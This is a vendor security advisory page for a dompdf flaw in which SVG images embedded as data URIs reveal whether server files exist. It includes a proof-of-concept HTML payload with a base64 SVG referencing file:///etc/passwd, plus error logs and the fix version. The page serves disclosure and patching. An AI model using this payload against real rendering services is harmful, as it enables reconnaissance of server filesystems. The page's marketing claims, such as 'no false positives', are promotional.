GHSA-j8qw-6jw8-r297
Fix: dompdf/dompdf@6a58996GHSA-j8qw-6jw8-r297 is a CWE-209 vulnerability in dompdf/dompdf. O3 Security confirms whether GHSA-j8qw-6jw8-r297 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j8qw-6jw8-r297.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
dompdf/dompdfReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.
Details
Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.
[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
[Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196
PoC
First, the attacker renders this HTML document:
<html>
<head>
</head>
<body>
<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=">
Hello World!
</body>
</html>
The <img> tag contains the following SVG content:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100">
</svg>
As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" />
However, when supplying a path to a file or directory that does not exist, for example:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100">
</svg>
The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:
<img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" />Impact
By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | dompdf/dompdf | all versions | 3.1.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompdf/dompdf. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update dompdf/dompdf to 3.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j8qw-6jw8-r297 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j8qw-6jw8-r297 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j8qw-6jw8-r297. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j8qw-6jw8-r297 in your dependencies?
O3 detects GHSA-j8qw-6jw8-r297 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.